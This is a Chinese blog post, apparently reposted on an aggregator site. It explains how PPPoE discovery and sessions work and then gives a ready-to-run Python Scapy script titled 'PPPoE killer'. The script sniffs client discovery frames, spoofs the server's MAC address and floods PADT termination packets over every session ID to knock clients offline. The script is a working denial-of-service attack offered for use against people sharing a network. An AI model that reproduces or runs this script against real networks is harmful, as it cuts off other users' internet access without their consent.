首页 > 其他 > 详细

PPPoE杀手

时间:2014-10-07 21:06:14      阅读:423      评论:0      收藏:0      [点我收藏+]

PPPoE协议原理:

第一阶段:

    1.pppoe client广播发送PADI数据包建立连接,

    2.pppoes erver回复一个单单播帧

    3.client回复一个单播请求

    4.pppoe server就会回复一个允许包(包中携带sessionid)

          

第二阶断:然后双方使用PPP的LCP协议协商链路,NCP进行密码检验,即可通讯。

          

重点:第一阶段pppoe会话重要依据就是双方的mac和sessionid


原理:只要在pppoe client发送广播帧发送discovery时,监听网络,得到client mac地址,再对client发送一个PADT数据包,包中包含sessionid,这时就可以使client误以为server结束了连接。注意:在发送病毒帧时,双方应该已经完成了第一阶段的会话    


由于我们不清楚客户获得的sessionid,所以对于sessionid的取值直接使用了数据字典,因此为了破坏连接必须发送65535个数据包,所需时间较长;


代码如下:


from  scapy.all import *


while True:

        try:

                        a=sniff(filter=‘pppoed‘,count=1)

                        c=Ether()/PPPoE()

                        c.dst=a[0].src

                        c.src="00:0c:29:be:f5:21"  //注意:这个src是你pppoe服务器的mac地址,请酌情手工修改

                        c.type=0x8863

                        c.payload.code=0xa7

                        c.payload.sessionid=range(65535)

                        c.payload.len=0

                        sendp(c)

                        print "We have attack one,his/her mac address is "+a[0].src

        except:

                continue


PPPoE杀手

原文:http://mdh6789.blog.51cto.com/7270513/1561030

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!